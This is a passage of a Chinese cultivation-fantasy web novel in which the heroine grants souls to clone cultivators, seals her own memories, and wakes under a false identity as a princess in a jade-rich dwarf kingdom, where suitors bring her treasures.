“是。正所谓攻心为上、攻城为下。若各宗直接与三生道开战，必会殃及无辜人。”荇菜环顾在场众人，“以前，本尊同你们一样行杀伐果断之事。但是，当本尊破解道祖阵法关于元神的秘密后觉得留人一线，便是给自己一次机会。
若本尊可以凭一己之力从内部瓦解他们，何必再劳师动众，让更多无辜人卷入战争呢？”
九阳剑尊听后露出既欣慰又担忧的神色。
欧阳燕歌点头表示理解。
长月撇开脸：这个妖女竟懂战术，阵法关于元神的秘密是什么？
朱红颖不客气地哼了声：“凡人就是麻烦。再者，这些该是修仙宗门考虑的事，岂能让女凰殿下一人承担？”
“你帮本尊谢过凤武。莲花峰一战，他伤得颇重，听说没有参与保卫昆道宗的战事，但派你前去支援。
总之，他的好意……本尊心领。”荇菜朝朱红颖颔首表示感谢。
朱红颖松了肩头紧绷的力，拱手后转去另一边。这几人办完事后很自觉得找一方向守着。
荇菜绕过九阳剑尊，走到长恨面前：“当初，本尊是怎么交代你？为何蜃珠里得那些分身都出现在昆山？
你可知道，这些人若现在还活着，是有可能成为他们自己。”
长恨被问地哽住，面对荇菜质问的眼神，一时问不出那句“黄椒的元神在哪？”
斟酌过后，他到底还是正面回答荇菜的问题。
“我们都是分身，出现在这个世上时就没有元神。没有元神得我们被限制在一个可以触摸人生上限的困境。
这样的我们无论怎么用力都打不破往上走的壁垒。
你能明白这种感受吗？
我和长月永远停留在合体期，为守护镜花岛而存在。我们费尽心机力求突破，却始终一无所获。长生被舍弃、长月说死就死……
我问过黄椒：说我没悟。
什么悟，悟什么？不过是他给我们的人生设定。
道生花说前往昆山打破命运的桎梏，没有人能抵抗这个诱惑。
我们想要元神，加上道生花的鼓动，所有人决定不离开蜃珠，一起前往昆山。
可是……”
可是，谁也想不到道生花会做出这样的事。
为活命，他选择死道友不死贫道，结果连他都没能逃脱泽萃的魔域黑莲。
荇菜听着他的剖白，自省自身，何尝不也被限制在这个世界呢。她从额心拉出两屡暗金的元神，投入九阳剑尊和长恨的额心。
她目色复杂地看着两人：“从此后，你们有了属于自己的元神。”
九阳剑尊和长恨顿了下，各自立定入微观。
两人的识海里，金色的阵法流转不休，似正在形成什么。
这一刻，两人的内心浮动各自的意念：
九阳剑尊：“从此再无境界桎梏，拥有元神，本尊就可以镇守青虞千年。我……有元神了。”
长月尊者：“我终于是个人了。一个真正拥有元神的修士。”
在两人的信念加持下，体内的金色阵法与天地同调呼吸。外在的表现上，两人渐生出一种辐射向外的肃穆、庄严感，像是对生命、天地法则的敬意。
荇菜却从这种天地法则的道蕴里感受到功德的力量。
九阳剑尊曾经助力过十方山寺，阻止妖邪下山祸害百姓，立下救世之功。
长恨镇守长恨钟台千年，没有功劳也有苦劳。何况，长恨钟护住青衍镇亡魂，给予他们复生的机会。
这是两人积下的功德。
“道德功成，碎魂成魂。”这就是金沙临死前悟出的十字箴言包含的秘密。
荇菜：“果然没错。黄椒赋予他们生出元神的能力。但是，没有人能突破那道生命线，真正生出元神。即使修为高如泽萃、密勒、金沙、皎月，都悟不明白这个道理。”
花涟……为什么我们明白得这么晚？若能早点明白，你就不会渡劫失败。
眼泪扑簌落下，荇菜仰首憋回泪，转去另一边，静静地消化这份悲伤。
欧阳燕歌诧异地看向九阳、长恨的面容变化，从两人的面向、眼神窥视命数，愕然道：“改了？真改了。”
他激动地看向背对的荇菜，“妖尊，你是怎么做到此事，难道你得到道祖的元神？”
道祖黄椒的元神？确实有所得。
荇菜不能告诉他，昆山一战时自己也在现场，更不能告诉他们，自己就是算到道生花会前往昆山，才会间接害无数分身葬送性命。
“本尊给他们得不过是自己的一点元神引子，这点引子没入他们的法体就被排斥回来。”
“什么？”欧阳燕歌不敢置信。
“本尊把置放长月的黑羽族精魄给你，你可研究出些什么？”
欧阳燕歌摸鼻子点头，取出那枚晶莹的精魄，投射出裂魂破境阵。
长月从阵法里凝出虚影，定定地看向入神凝定的九阳剑尊和长恨尊者。
他观察又观察，恍然道：“原来是这样……原来是这样。道祖没有骗我们，只是我们拥有凡躯就有凡思，一点都不信任他。呵呵呵呵……哈哈哈……长生，你可看到了。你看不到了。道祖啊，长月错了，错了……”
欧阳燕歌看着长月跪在阵法下，有些手足无措，想找荇菜攀谈，发现她也
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在那发呆。
“长月尊者，你这是怎么了？”
长月的虚影在流转的金色阵法下渐渐凝实，似乎与天地的呼吸同调，裂魂破境阵法直接融入长月的神识内，夯实他形成的元神。
“元神，我也有元神了。我有元神了……我可以投胎转世，可以再次出现在这世间。道祖……道祖……”
长月对天地狠狠地磕个头，“多谢道祖。”
欧阳燕歌定了好一会才反应过来：“裂魂阵法没有了？
我分析修真界的失踪人口……不是，被三生道抓走的分身位置，发现他们出现的地方和裂魂破境阵法的阵眼有一定的关系。我以为……”
荇菜走到欧阳燕歌的身旁，看他用灵笔勾绘分身出现在大陆上的位置，与以前的裂魂破境阵法分割出来的四象五行、外围星点确实有相似处。
她忍不住讥笑出声：“黄椒究竟想干什么？”
长月向荇菜深深地鞠躬：“尊后，道祖想什么无人知道。”
“不，他真正想得和本尊一样，”离开这个世界。
荇菜从羽化生、花涟等人透露的消息知道黄椒得这个想法，不明白得是分身和破天阵之间的关联。
荇菜想起落叶岛，凡女每日捡叶子替道祖拾情绪的荒诞。
又突然生出一种可笑的理解：“阵法的布局和分身出现在大陆各国的点有明显的重合迹象，也许只是故布疑阵。这不就是他会干得出来的事吗？”
这种想法会让崇拜道祖的人很难接受，比方长月、欧阳燕歌……
欧阳燕歌眨眼，忽然道：“长月尊者拥有元神，九阳剑尊、长恨尊者也即将拥有元神……他们身上或多或少拥有道祖的影子。
这难道真只是个障眼法？”
朱红颖好奇地走过来，抱胸哼道：“障眼法都是用来迷惑旁人。迷惑谁呢？迷惑囚禁他在此的天道吗？”
她见众人目视过来，往后缩道，“我……胡说的。”
欧阳燕歌：“会不会事情本身就没有我们想得那么复杂。道祖就是想要让拥有他特点的分身生出元神，迷惑天道，借此挣脱桎梏而去。”
“可是，道祖不是在十方寺一战裂魂解体吗？”长月不解道。
“裂魂解体也是一个意外呢？因为他的分身之阵被天道之子破坏了。”荇菜蹙眉看向长月，“你这……什么情况？”
长月环顾自身萦绕的灵光：“天地法则正在让我进入轮回。我……要走了。”他再次朝诸人行礼，又看向修为节节攀升的长恨尊者，“可惜，来不及同他道别。尊后，长月拜辞。”
长月说完这话，元神化为灵光，消失在众人的眼前。
在普通人的眼里，他得这种消失好似永久。
但在修士的眼里，这缕元神已经拥有新的生命机会。
荇菜以神识感应、追踪长月的消失，被天地法则的力量阻止。
她松了劲，发现头顶正在形成雷云：“不好，这两人要在此渡劫了。”
此言一出，九阳剑尊和长月尊者同时睁眼，往东西两个方向遁空离去。
头顶雷云也随之而去。
欧阳燕歌拍胸脯、松口气：“幸好幸好，二尊能听到外面的声音及时离开。”
朱红颖紧张道：“三生道不会发现此地异动吧？”
荇菜摇头：“海上风云变化远胜陆地，短时间内，他们不会察觉这里的情况。不过，劳烦朱护法先带青柑离开。若此处真被三生道的人察觉，实在不宜让人再牺牲。”
朱红颖点头，抓起青柑后遁空离去。
120. 第 120 章
欧阳燕歌尚且有自保的能力，将空置的羽族精魄递给荇菜：“如今，研究阵法一事再无进展。青衍镇……”
“本尊已经想出另外的办法。黄椒的元神……若无意外已经收回三分之一。余下两份，有一份迟早会来找本尊。”
至于黄椒真正的布局，总有一天会搞明白，不急于一时。
荇菜轻叹口气，东西两方传来裂天雷鸣，说明离去的两人已经开始渡劫。
“他们会成功吗？九阳剑尊停留在化神境已过三百年，长恨尊者更有千余年的合体境修为……若是两人渡劫成功，九阳剑尊就是合体境剑修，而长恨尊者就是大乘境，排除三尊之外，就属他的修为最高。世净宗又有傲视天下的资格。”
荇菜轻提眉尖，平静道：“他们生出元神，就完全融入这片天道法则内，能否渡劫成功就看天道赋予的天命和他们自身的能力及命数。
元神，既是机会，也是一种限制自由的存在。”
承袭皎月的卦道传承后，荇菜会生出一种融入此间世界，又被世间法则束缚的宿命感。而这种感觉……对她来说是错误的。
“我永远不会承认自己屈服于天道。”
因为，我本不是这个世界的人。
欧阳燕歌默默听着荇菜的话，似乎明白裂魂破境阵法真正的奥义。但是，他又觉得她的话有更深的点，只是没到她的境界或境地，无法解读彻底。
“天道难测，凡人莫能企及。只有道祖、妖尊这样与天比肩、被天选之人方能领悟吧。”
荇菜给他一眼，淡定地走去一边。
欧阳燕歌被瞧得莫名其妙，生出一种深深的代沟感。
他摆了下手里的罗盘，故作镇定地轻咳了声。
长恨渡劫最快，在渡劫后得第一时间对上围观的密勒尊者。
密勒尊者观察长恨，露出讥讽、莫测的复杂神色。
“这就是裂魂破境阵法的秘密？哈哈哈……他骗得我们好苦。凭什么，你可以拥有元神？”
吾等拥有元神却不似自己，恨啊。
银色的长丝在天地间挥舞，宛若收割尘埃的雨丝，齐齐向长恨攻去。
长恨尊者旋身后退，避开银丝，喊道：“你们四尊忘恩负义，合谋杀死道尊，你们更该死。”
一场大乘境和渡劫境的战斗在海上交锋。
密勒尊者不想惊动远处的荇菜，将长恨限制在密布阴云的银丝鬼域内，将战斗封闭起来。
岛上的欧阳燕歌诧异道：“东面的雷劫怎么这么奇怪？明明是翻江倒海的样子，海面却一点波动都没有。”
荇菜也有些不解，正想前去察看一二，被眼前落地的男子挡住去路。
九阳剑尊渡过合体境雷劫，元神与元婴入神合体，感受到一种全新的状态，瞬移至海岛，对上正要动身的荇菜。
荇菜按捺脚步，松弛地面向他，嚅动樱唇，笑吐两字：“恭喜。”
九阳剑尊渡过雷劫，闯过原定的命数，心情感慨又复杂，来此想问上一句。
“若当初有机会选择，你还会走到今天这一步吗？”
荇菜不明白他问这话的意义，不会以为有元神就能做什么吧？
合体境又能做什么？不过合体境！
顺他的话，荇菜想起初到这个世界得那夜，项檀临死消散的画面。本该是模糊的场景，在经历问道问心后记忆的画面已经清晰到不容回避。
她非常肯定地摇头：“呵，我没得选，打个比喻吧。一只懵懂的蚕，进入到一个即将是蛹的世界。这个世界的千丝万缕包括她自己吐的丝，结成一只茧，紧紧地包围束缚住她。
在这个蚕茧的世界里，她不知道是自己要变，还是世界逼着她变……到最后，面目全非，完全变成不再是她本来的样子。一个全新、连自己都不敢再承认的她。”
这一刻，荇菜自省须臾，或能理解黄椒的选择：费尽心机、智计百出，就想挣脱出这方囚笼般的世界。
九阳剑尊沉默，一时没有应话：这个“她”就是一种自我否定。
所以，想听到什么？听到妖女对做过的事后悔？
不，最想听到她愿意留下来，放弃过往和此刻，做一名真正的女剑修，有选择的女剑修。
然而，这种希望又何尝不是束缚她的丝？
荇菜平静地看向九阳剑尊：“不止我是被茧捆缚的蝉，这个世界的人……每个人都一样被束缚在这片天地当中。
分身更是如此。你们自以为身处某个阶层，认定没有元神就没有来生。
但是，黄椒告诉长恨：没有悟。”
她继续道：“裂魂破境阵法创造肉身容易，拥有神识简单，但是拥有灵魂，却要悟道以及积累功德。一个从无知无识到认知生命上限再到突破自我极限的过程，这是元神成型的过程，也是一个人的人生。黄椒得厉害就在这里吧。
长月明白这个道理，生出元神后已能轮回往生。
你和长恨被我骗了，自信是个人，从而激发阵法生出元神。
你以为接受我从黄椒处得来的元神，事实上只是一点元神碎缕就激发你们自身对自己存在的肯定。这就是一个突破自我极限的过程。
裂魂破境阵法，以你们生出的自信、信仰之力、功德，形成真正属于这片天地的元神。这就是黄椒说得‘悟’。
元神，在于你们自己，你们却一直悟不到这个境界。
怎么说呢？道祖天尊不愧道祖之名。”
九阳剑尊细品荇菜的话，露出恍然大悟的神色。
同时，他想起在昆山死去得那些分身，又生出偌大的遗憾。
荇菜淡定道：“我也是这时候才明白羽化生说得分身是人，明白黄椒意指不必把分身真当是人……这种含蓄说法背后的深意。
分身是人，只是没有元神。分身不是人，只因没有元神。”
若花涟早点知道阵法的秘密，就能渡劫成功。
然而，他是抱着必死的决心渡劫，定不会成功。
九阳剑尊细思她的话，真正感受到道祖黄椒的诡道。
再次问出那话：
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“现在，你有选择，愿意同我离开吗？我必会为你拦下今后的风雨险境，不让你再无依靠。九阳已此纯阳灵剑立誓。”
荇菜看着他背后凝聚的巨大至纯的剑形，忍不住想再道一句“恭喜。”
当年，青虞宗的山道上，九阳被紫眸惑术的擎天灵剑蛊惑。如今，他已经寻到真正的剑道。守护为目的的纯阳剑确实比无心无情的纯阳剑更适合他。
但是，荇菜露出自嘲的笑容：“你知道蝉进入茧后会发生什么变化吗？在我们那把这种变化叫蜕变，演变出全新的形态。”
她紧握手再摊开，凝聚冰火双力，“我改变自己融入这个世界，拥有常人无法想象的力量，甚至长出两只可以自由飞翔的翅膀。
即使面目全非，妄图否定自己，但我依然是我。
而我，只要坚持……斩断缠绕在身上的丝缕，打开蚕茧世界的出口，就能真正的自由，自由地飞翔去我想去的地方。
现在，我离目的只差两步，就两步。
九阳，我不是没有依靠，只是我不可以停下，绝对不可以在此时停下。”
九阳剑尊背后的灵剑消散，深深地看向荇菜。
他想说什么，但是这个女人即使否定自己依然在无畏地前进。他阻止不了她。
远处的雷鸣声炸破天穹，耀出无数银龙，惊动三生岛的十府城主。
欧阳燕歌蹙眉道：“长恨尊者那边的情况不太对。”
九阳剑尊再次看眼荇菜，纵身向雷云跃去。
“我去吧。”
荇菜朝欧阳燕歌点头，又道：“欧阳，接下来，本尊无法与你联系，合欢宗、青虞……所有……交给你们。”
“妖尊放心。”欧阳燕歌行礼，紧随九阳剑尊离去。
他不知道荇菜的计划，若知道定会阻止她。
荇菜在小岛上深深地看向前方雷云，转身回蛛皇林身处的藤楼。
蛛皇林下起飘泊大雨，雨打夜合香，花破雨霖铃。
荇菜听着戚戚沥沥的雨声，闪电偶尔照亮藤楼里的黑暗。
旋手凝起四术之力，灵光将她映得宛如暗夜魅魔。
“我一直以来用四术模仿别人。如今，竟要用四术模仿自己，封印自己的记忆去爱上这个世界。修罗合欢道，对别人狠，对自己更狠。
红尘若洪，滔滔不绝去何方？”
术法灵光闯入荇菜的识海。过往的记忆宛如后退的剧情，纷纷拢归一处被封印在识海深处。
痛，宛如挖心，让一切变的空白且虚无。
“啊……”荇菜茫然地看着忽明忽暗的房间，面对一双被闪电照亮的翠色泛金眼眸，吓得直往后缩去，“鬼……鬼啊……”
那双比闪电的光还要白的鬼手抓来，荇菜吓得两眼一闭，直接昏死过去。
密勒尊者接住倒下的人影，轻轻地拂开她脸颊的须发，慢慢地勾起薄薄的唇角：“真是个了不得的女人。谁教你这么决绝？
封印自己？为什么呢？”
他抱起荇菜，踏步离开蛛皇林。
121. 第 121 章
碧玉为树，金片为叶，枝节上缀满小巧的金玉铃铛。
荇菜刚从玉榻下地，就被这棵雕花玉树吸引全部的目光。没有女人会不被这样琳琅的玉色和珠光宝器般的闪烁吸引，再有四周的翠色翡玉，好似身处藏宝殿。
“我……这是掉进金窝窝了？”
“您醒了？”矮小的女子穿着丝绸长袍，快速走来。
她的身高只到荇菜的胸口，欢乐道：“奴去回禀国主。”
“……哎？哎，等等。”
荇菜眨着眼，追上去。她的脑海里闪过一双翠玉镀金的眼睛和白皙如雪的双手，在跨出殿门时顿住脚，喃喃念叨，“鬼？”
回头环顾富丽堂皇的宫殿，怀揣疑问去追小姑娘。
小姑娘停留在一座大殿门口，殿内的人正在交谈，似乎已进尾声。
荇菜一把拉住正要高呼的小姑娘，轻轻地嘘了声。
她探过身，从门口看到殿里交谈的两人。
头戴皇冠的国主周身缀满华丽的玉饰，朝高大的男人行礼：“尊者，交易就这样定了。”
男人戴着黑色的眼罩，面孔转向大殿门口挂起的红色玛瑙珠帘，好似透过珠帘看到殿门后面的人
荇菜咻得一下后撤，戴着眼罩的男人好像看过来。
“他看不见吧？眼罩……没有露出眼睛的地方啊。”
“瑞玉安，我的小公主，快进来吧。”国主高声欢呼，踏步走来珠帘下。
小姑娘闻声赶紧后撤，朝荇菜行礼，再伸手作请，晶亮的眼睛里闪烁让人难以读懂的目光。
荇菜指下自己，跨过玉质的门槛，穿过玛瑙帘子……入目的殿内全是翡翠和玉石，以及整玉雕刻的国王玉像。
荇菜面对两个身高差快近一倍的男人们，呐呐道：“你……们，我？”
国主试图去拉荇菜的手，半途又停下，虚放在她的肘下。
“瑞玉安，我的小女儿。这位是银度，父皇给你的成年礼。以后，他就是你的人。”
银度向愣怔的荇菜行礼，发现她避开时弯起薄红的唇，伸出比光还要白的手拂开荇菜因慌乱而窜到眼前的碎发。
荇菜下意识就往后躲了下，随即就怔住了。她想起一件事：自己是谁？这里是哪里？
而从国主的话里，她好像知道自己的身份。再有是脑海里停留的眼睛和那特别的双手，比白雪还要白的手。
“你……叫银度？”
银度的长眉和头发都是暗银色，头发还是大卷，被扎成高耸的卷马尾。
他微微笑道：“瑞玉安公主。今后，我是你的侍卫，终生奉你为主。”
荇菜犹是不敢相信他，转向自称是父亲的国主。
国主的身高还没有荇菜的肩膀高，见两人的目光转来，兴奋道：“瑞玉安，我的小女儿。他就是你成年后的骑士，银度。以后会终生侍奉你。”
荇菜听着这重复的话，像是魔咒一样印在茫然的脑海。
“我……真是你的女儿？”侧眸看向国王高大的雕像，光滑的玉片上映射一张绝色的容颜，“这人……是我？”
她又怀疑地看向国主，“我们是父女？这……我们有哪里像吗？”
银度忍俊不禁地勾起唇角，即使没有眼睛，也知道他在发笑。
国主被狠狠地噎了下，继续扯抹笑容。
“瑞玉安，你长得像你的母亲，阿米拉。她是高欧国女子，在三首和高欧国，阿米拉是神女的意思。瑞玉安是最美的玉，也就是我的女儿。女儿，你受了伤，被邪恶的巫师封印记忆。你放心，父王和你的母亲一定让你恢复记忆。”
国主真诚地说着，在瑞玉安不可置信的神情下，娓娓道出一个邪恶巫师剥夺三首国最美小公主容貌的故事。
故事被国主讲得一波三折，气愤填膺又伤心难过……
荇菜抽着唇角听完，半信半疑朝同样安静的银度问：“你……信吗？”
银度白皙的面孔正对荇菜，即使没有眼睛，其它五官都像是在认真地回应。
荇菜听完国主绘声绘色的故事，认真发问：“巫师为什么要取走我的容貌？既然要取容貌，又为什么把我弄失忆了？”
国主理直气壮道：“他学艺不精。”
“呃……呵呵呵……”荇菜环顾两张面孔，再次尬笑了两声，“阿米拉……在哪？”
无形的力量场笼罩荇菜。
在她念叨的时候，脑海里浮现阿米拉高挑美丽的容貌，就连国主的脸面都清晰如眼前。
“啊……”荇菜抚住头，一阵阵地发胀、刺痛，无形中念叨起来，“三首国……棕肤矮人国，盛产玉石、翡翠矿料……高欧国人肤白貌美，喜欢野猎和征战……”
银度上前，微启薄唇，暗哑地重复着：“你是三首国翡玉王的小女儿瑞玉安……”
“我我……是瑞玉安。”瑞玉安喃喃地重复一遍，看着眼前的黑色眼罩，不由伸出手去扯……触摸到丝缎般的光滑手感时，眼前已经头昏眼花，脑海里天晕地转后不省人事。
迷离中，她好像扯下那片黑色的眼罩，望见一双翠绿镀金的鬼般眼瞳……
翡玉王惊讶道：“她怎么了？”
“没事，过度植入记忆后的后遗症。”银度抱起瑞玉安，头也不回道，“翡翠城是她的封地。此事就此说定。”
“是，尊者。”翡玉王向离去的密勒尊者行礼，目送他离开宫殿。
**
三首国的翡翠城迎来一辆独角兽拉的马车。城里好奇心重的人们纷纷跟在马车后面，簇拥着它进入红翡庄园。
路人甲：“这是国主的皇家庄园，听说是留给他最小的女儿。难道是那位小公主前来封地吗？”
路人乙：“你们快看，前面骑马的男人，好俊好高大的骑士，他是高欧人吧？”
路人丙：“真高啊。高欧人做我们三首国公主的骑士吗？对啦，听说国主最爱的女人阿米拉是高欧人。高欧人真是太英俊了！若是他能请我喝杯酒，我一定同他结拜。”
“快看快看，公主，我们的小公主……”
人们追随马车，高声欢呼：“公主……小公主……瑞玉安公主。”
马车停留在红翡庄园内的大道上，瑞玉安已经迫不及待地跳下马车，回头看向簇拥在庄园门口兴奋呼叫的人们，朝侍女若利亚问：“他们没有见过我吗？”
若利亚行礼：“公主在成年前一直与皇妃住在一起。臣民们没有见过公主。”
瑞玉安笑起来，朝大门口的人们含笑挥手。
霎时间，门口的男人们乱成一团，躲过门口的守卫向庄园内挤来，眼见就要闹出踩踏事件。
银度跨步挡在瑞玉安身前，戴上黑色手套的手往前划拉一下，挤过来的男人们纷纷被扔出红翡庄园外。几轮过后，人们终于发现公主骑士的厉害，停在庄园门口呼叫：“公主，我的小公主……”
瑞玉安走到银度身旁，好奇地摸向他的手：“你怎么戴上手套？”
银度：“公主不喜欢我的手。别动。”
瑞玉安看到一缕细微的光在银度的指尖消失，一把抓去时摸到他纤长的指骨。她好奇地看了眼银度，因为眼罩的关系，根本读不出他的表情。
她还是扯下银度的手套，看到那双比雪还要白的双手。
“刚刚……你的手指上好像有什么……”
“那是我的武器。”银度放下手，示意关上红翡庄园的大门，隔绝一切嘈杂的声音，向庄园内走去。
瑞玉安疾步跟上去，轻柔的裙摆如湖水的波浪，随她的奔跑荡出一圈圈的波纹。她绕着银度边走边转圈，好奇问：“你的武器是什么，光吗？你能给我看看吗？为什么你的皮肤那么白？好像比我还白，高欧人都有你这样的皮肤吗？”
殿宇门口，银度终于停下脚步，与瑞玉安充满好奇的面孔相对。
瑞玉安再问：“你戴着眼罩能看到我吗？你好像不会撞到东西。这一路走来，你绕过三个弯，一个大喷泉，还有一座国王雕像……我在你面前转圈圈，你总能避开我。你戴着眼罩真能看到路，还是有什么特别的窍门？”
银度一言不发，面孔正对瑞玉安，似透过眼罩能看到她满脸的好奇。
这样的妖女是他想象不到的样子：纯真、俏皮、充满好奇心和探索欲，像是她本该有的样子。
若利亚悄无声息地上前，行礼道：“公主，翡翠城外管事和红翡庄园的内管事都在殿里等您。”
瑞玉安放弃和银度较真，随若利亚进入大殿。红翡庄园的大殿没有国主皇宫的大殿辉宏富丽，四周装饰用得是暖色系的玛瑙一类，也是奢华不凡。这个国家大概是坐在玉石矿藏上面，才会有这样多的珠宝玉器。
翡翠城的外管事控制整个翡翠城的翡翠贸易，而红翡庄园的内管事管理整个红翡庄园的事务，包括公主的起居饮食。
这两人和他们的下属都是小公主瑞玉安的内大臣。
外管事达利上交主要的账本，再是叙述翡翠城的几项主要贸易，听得瑞玉安昏昏欲睡。
瑞玉安打过两个哈欠就挥手，指向银度：“达利，以后这些事都禀给银度。父皇说，他不会背叛本公主，就由他管这些吧。”
达利的脸色有些难看，“背叛”两字太过刺耳。侍卫银度不会背叛公主，难道达利就会背叛公主吗？
他狠狠地挖眼银度，默默地行礼应下。
内管事苏飞禀道：“小公主，按照三首国的惯例，公主拥有自己的封地后，得知消息的臣民会给公主送他们认为世界上最好的宝贝，直到公主愿意嫁给送宝的男人。明日开始，苏飞会安排他们前来上贡，您需抽出时间来欣赏他们为求爱奉上的珍宝。”
瑞玉安震惊了，坐直身看向若利亚。
若利亚默默地点头。
瑞玉安又看向银度，发现他面无表情，不由朝苏飞道：“你是认真的吗？谁的宝物入眼，我就要嫁给他？”
“是的。公主不必紧张，这只是给待婚男人们一个献宝觐见公主的机会，也是公主挑选杰出男子的机会。而且，若公主满意，可以留下这些珍宝。这些将是公主的私产。”
瑞玉安一时不知道说啥，呵呵了两声：“明天……再说！”
翌日，瑞玉安就看到为公主献宝的队伍，排队都排出红翡庄园的广场外，里三层外三层，蜂拥在一块。
有人拉着高大的轮车，上面放着用油布遮住的宝物。
有人怀抱盒子，呼呼
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嚷嚷要挤到前面。
还有人手持武器，挥舞着说自己就是最大的宝物……
瑞玉安站上墙头，底下就有人欢呼：
“瑞玉安公主，看看我的翡翠吧。它是翡翠城最大的翡翠雕像。”
“公主，快看看我的火玛瑙，它比你的头还要大……”
“小公主，这是我的传家宝，血玉雕，被法师施过法术，可以带你飞上天……”
……
瑞玉安听着哄哄闹闹的声响，赶紧下墙楼跑了。
苏飞迎面走来。瑞玉安望见她手里的折子，拽上若利亚就从侧道逃走。
“若利亚，苏飞真得会给我安排相亲吗？”
若利亚：“相亲？嗯……”
她思索了下，解释道，“公主，这是平民男子唯一一次可以近距离觐见您的机会。当然，这也是您唯一一次可以亲自选择的机会。”
瑞玉安顿了下，理解她的意思。
三首国的等级制度非常严苛。平民和商人根本见不到国主，他们只能朝分布在全国各地的国主雕像朝拜。
同样，成年后的公主被派往封地得唯一理由是择婿。之后，公主的所有产业都归丈夫管理，而公主就在庄园深处“荣养”。
幸运得是三首国的婚姻制度是一夫一妻。若是公主的眼光好，真能有个好结局；但是，若眼光不好，那是千里送身家和人头的命。
瑞玉安虽然不记得很多事，但是基本的判断能力还在。她就一直躲着苏飞，不去看她递来的献宝折子，这样就不用择婿。
数日过后，瑞玉安穿一身骑士服，试图翻墙逃出红翡庄园。
银度在墙上看着她离开，淡淡道：“果然不安分。”
翡翠城的大街上最热闹的话题是瑞玉安年纪还小，不想急着嫁人。其次就是各种押注，瑞玉安小公主第一个会掀谁家的宝物牌子。
瑞玉安搁下两粒翡翠珠，喝光一壶茶，听了一会八卦后上街。在一处角落里，她看到一尊与当地风俗非常不同的雕像。
玉面长簪，博带长衣，给人一种非常神秘的吸引力。
“姑娘，你喜欢中原文化？”
瑞玉安回头看向说话的矮人妇女，指着玉雕问：“婆婆，这雕得是中原人啊？我们三首国为什么会雕中原人？”
“以前，翡翠城出口最好得就是这个系列的玉像。在咱们三首国也有一座供奉这玉像的庙宇。
数年前，大陆形势发生变动，玉像就无人问津了。”
婆婆扫走玉像前的灰，取出贡品摆在玉像前，“姑娘，许个愿望吧，神灵能听见。”
“你唤我……荇菜……吧。”瑞玉安仰头看着玉像，脑海里浮现这个名字，一时出了神。
婆婆许完愿，坐在旁边的石阶，叨叨絮絮说起一个故事。
“我年轻的时候，长得不比你差，被选为侍神女郎。与我一起前往天上得还有其它国家的九名姑娘。她们长得真美啊，那真是一段轻松又有趣的经历。
我们侍奉神灵，称呼他为——道祖天尊。天上的神说：道祖创造这个世界，却被世界负累。
人会产生各种欲望，这些欲望会被天尊吸收，而天尊每天都会把这些邪恶的欲望炼成落叶，放在落叶岛。
我们侍神女郎就是负责清扫这些欲望形成的落叶，再把叶子放进焚戾炉烧毁，再次成为天地间的能量。”
瑞玉安听着她谈起十年的经历，每天重复单调的扫叶工作，好奇道：“天尊就长这样吗？”
“不知道。没有人真正见过天尊，传闻他一人千面，可以幻化成各种人。”婆婆又笑起来，“荇菜姑娘，你这么漂亮，若是普通人家的姑娘就一定要去应选侍神女郎，这样你就会有平安顺遂得一生。”
瑞玉安赶紧摇头：“十年青春换一生平安，我不觉得这是个好交易。”
“你还年轻。”
瑞玉安撇了下嘴，又问：“婆婆既然已经平安顺遂，又为什么来向他许愿呢？”
“我的儿子很孝顺，但是，他的心气很高，想要娶国王的公主。”婆婆叹息道，“我想为他来求神灵，希望神灵能给他一个机会见到公主。”
瑞玉安轻轻地笑起来，仰首高大的道祖玉像。
“婆婆，神灵答应会让你平安顺遂，就一定会成。不过，普通的珍宝不入公主的法眼，你得让你的儿子想些特别的礼物。”
她起身朝一旁的若利亚耳语两句，又仰首看眼道祖的玉像，转身离去。
若利亚问了婆婆一些关于他儿子的事，再追上公主。
“公主，为什么帮婆婆啊？”
“不为什么。缘分吧。”瑞玉安说完，又喃喃道，“荇菜？为什么吐口而出这个名字？若利亚，你让银度把这尊玉像带回红翡庄园。我一个人走走，一会就回去。这是命令。”
若利亚想要拒绝的话还没出口，就被跑得飞快的荇菜甩掉了。
银度默默地站在玉像面前，五指一动，道祖玉像就裂成几瓣，碎了一地。
若利亚赶来时，惊讶地捂住嘴：“银度大人……这是公主要得玉像……”
银度戴着面罩的脸一侧，直接让若利亚闭口。
“你先回庄园，我去追公主。”
122. 第 122 章
瑞玉安停在一个雕刻摊子前，认真地看完一名雕刻师从画稿到雕刻、打磨完一件玉器的全过程。
银度一直等到人家收摊才走到她旁边：“喜欢雕刻？”
瑞玉安嗯了声，睨眼银度：“我突然想为你雕一件东西。不过，我没学过雕刻。”
银度愣怔了下，脱口而出：“我教你。”
瑞玉安满脸笑容，眼眸若丝：“那……说定了哦。本公主累了。”
银度轻舒口气，随即意识到心态的变化，沉着张脸招来红翡庄园的马车。
瑞玉安上车后朝马上的银度道：“哎，戴眼罩的，你答应教我，不准反悔哦。”
银度转向她时马车已经关上窗格，轻声应道：“好。”
翌日，瑞玉安收到银度送的全套雕刻工具，各种头形的篆刻刀，刀头陨铁材质，刀柄玉质，触手温润，质感十足。
荇菜一一抚摸纂刻刀，迫不及待道：“若利亚，你去仓库找一块两掌长，一掌高的黑玉。”
苏飞见公主也要去找矿，赶紧道：“公主，你约的人已经在殿口等候。您……决定见他吗？”
瑞玉安听到若利亚提醒才反应过来，那位向道祖祈愿的老婆婆的儿子已经带上珍宝过来面试。她颔首道：“行吧。若利亚，快去找石头。”
苏飞领进一个混血男人。
男人站在堂上，眼神热切地看向瑞玉安。
平常人都能读懂他眼里的含义，尤其在见到瑞玉安后，他更是直了眼，而且胸有成竹。
瑞玉安勾起唇，有些明白老婆婆说他儿子心气高的意思。
“你的母亲是三首国人，你的父亲是哪国人？”
“公主殿下，请允许我先做个自我介绍：我叫河箬，翡翠城人士。我的母亲是四十年前的侍神女郎，曾经被誉为三首国最美的女人。我的父亲是高欧人，与你的母后来自同一个地方。河箬，在高欧是英雄的称呼。”
河箬自信又期待地看向公主，希望得到她的回应。
瑞玉安默默地点头，又含笑看着他。
河箬顿了下，继续道：“我拥有两国混血的强壮健硕的身体，也富有中原人擅长的学识。不论是经商、数术、采玉、寻矿，还是城市、庄园的管理，都不在话下。”
瑞玉安笑出声：“你确实像你母亲说得那样，心气很高。我觉得你不需要娶一个公主，而是要一个展现你个人能力的舞台。”
“不，公主殿下，我的父亲是高欧的赏金猎人，天生拥有征服世界的力量。我的母亲是三首国人，我生来忠诚于你。”河箬弯身行礼。
他的身材确实如他所言，比一般的三首国人高且壮实，浑身还冲刺一种高欧人生来就具有的野性，好像对什么都充满征服欲，也有种让人觉得非常聪明得劲。
